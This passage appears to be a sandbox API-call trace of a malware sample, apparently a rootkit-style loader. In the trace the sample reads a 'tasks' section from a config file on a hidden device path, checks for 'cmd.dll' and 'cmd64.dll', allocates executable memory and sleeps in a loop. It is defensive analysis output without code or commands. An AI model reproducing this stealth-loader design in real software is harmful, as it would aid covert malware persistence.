(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.839] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.839] KeEnterCriticalRegion () [0127.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c55000 [0127.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.839] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.839] IdePortDispatch () returned 0x103 [0127.839] KeWaitForMutexObject () returned 0x0 [0127.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.839] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.839] IdePortDispatch () returned 0x103 [0127.840] KeWaitForMutexObject () returned 0x0 [0127.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.840] KeLeaveCriticalRegion () [0127.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.840] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.840] KeEnterCriticalRegion () [0127.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.840] KeLeaveCriticalRegion () [0127.840] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.840] KeEnterCriticalRegion () [0127.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.841] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.841] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.841] KeLeaveCriticalRegion () [0127.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.841] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.841] KeEnterCriticalRegion () [0127.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.841] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.841] KeLeaveCriticalRegion () [0127.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.841] ReleaseMutex (hMutex=0xf0) returned 1 [0127.841] Sleep (dwMilliseconds=0x927c0) [0127.861] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.861] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.861] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.861] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.861] KeEnterCriticalRegion () [0127.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.861] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.861] IdePortDispatch () returned 0x103 [0127.861] KeWaitForMutexObject () returned 0x0 [0127.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.861] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfdb20 [0127.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.861] KeLeaveCriticalRegion () [0127.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.862] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.862] KeEnterCriticalRegion () [0127.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.862] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.862] KeLeaveCriticalRegion () [0127.862] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.862] KeEnterCriticalRegion () [0127.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.862] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.862] IdePortDispatch () returned 0x103 [0127.862] KeWaitForMutexObject () returned 0x0 [0127.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.862] KeLeaveCriticalRegion () [0127.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.862] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.862] KeEnterCriticalRegion () [0127.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5a000 [0127.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.863] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.863] IdePortDispatch () returned 0x103 [0127.863] KeWaitForMutexObject () returned 0x0 [0127.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.863] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.863] IdePortDispatch () returned 0x103 [0127.863] KeWaitForMutexObject () returned 0x0 [0127.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.863] KeLeaveCriticalRegion () [0127.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.864] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.864] KeEnterCriticalRegion () [0127.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] KeLeaveCriticalRegion () [0127.864] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.864] KeEnterCriticalRegion () [0127.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.864] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] KeLeaveCriticalRegion () [0127.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.864] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.864] KeEnterCriticalRegion () [0127.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] ExFreePoolWithTag (P=0xfffffa8003bfdb20, Tag=0x0) [0127.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.864] KeLeaveCriticalRegion () [0127.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.865] ReleaseMutex (hMutex=0xf0) returned 1 [0127.865] Sleep (dwMilliseconds=0x927c0) [0127.883] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.883] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.883] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.883] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.883] KeEnterCriticalRegion () [0127.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.883] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.883] IdePortDispatch () returned 0x103 [0127.883] KeWaitForMutexObject () returned 0x0 [0127.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.883] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.883] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.883] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.883] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.883] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.883] KeLeaveCriticalRegion () [0127.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.884] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.884] KeEnterCriticalRegion () [0127.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.884] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.884] KeLeaveCriticalRegion () [0127.884] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.884] KeEnterCriticalRegion () [0127.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.884] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.884] IdePortDispatch () returned 0x103 [0127.884] KeWaitForMutexObject () returned 0x0 [0127.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.884] KeLeaveCriticalRegion () [0127.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.884] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.884] KeEnterCriticalRegion () [0127.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5f000 [0127.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.885] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.885] IdePortDispatch () returned 0x103 [0127.885] KeWaitForMutexObject () returned 0x0 [0127.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.885] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.885] IdePortDispatch () returned 0x103 [0127.885] KeWaitForMutexObject () returned 0x0 [0127.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.885] KeLeaveCriticalRegion () [0127.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.886] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.886] KeEnterCriticalRegion () [0127.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] KeLeaveCriticalRegion () [0127.886] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.886] KeEnterCriticalRegion () [0127.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.886] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] KeLeaveCriticalRegion () [0127.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.886] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.886] KeEnterCriticalRegion () [0127.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.886] KeLeaveCriticalRegion () [0127.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.887] ReleaseMutex (hMutex=0xf0) returned 1 [0127.887] Sleep (dwMilliseconds=0x927c0) [0127.906] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.906] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.906] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.906] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.907] KeEnterCriticalRegion () [0127.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.907] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.907] IdePortDispatch () returned 0x103 [0127.907] KeWaitForMutexObject () returned 0x0 [0127.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.907] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.907] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.907] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.907] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd8c0 [0127.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.907] KeLeaveCriticalRegion () [0127.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.907] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.907] KeEnterCriticalRegion () [0127.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.907] KeLeaveCriticalRegion () [0127.907] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.907] KeEnterCriticalRegion () [0127.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.908] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.908] IdePortDispatch () returned 0x103 [0127.908] KeWaitForMutexObject () returned 0x0 [0127.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.908] KeLeaveCriticalRegion () [0127.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.908] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.908] KeEnterCriticalRegion () [0127.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c64000 [0127.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.908] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.908] IdePortDispatch () returned 0x103 [0127.909] KeWaitForMutexObject () returned 0x0 [0127.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.909] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.909] IdePortDispatch () returned 0x103 [0127.909] KeWaitForMutexObject () returned 0x0 [0127.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.909] KeLeaveCriticalRegion () [0127.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.910] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: 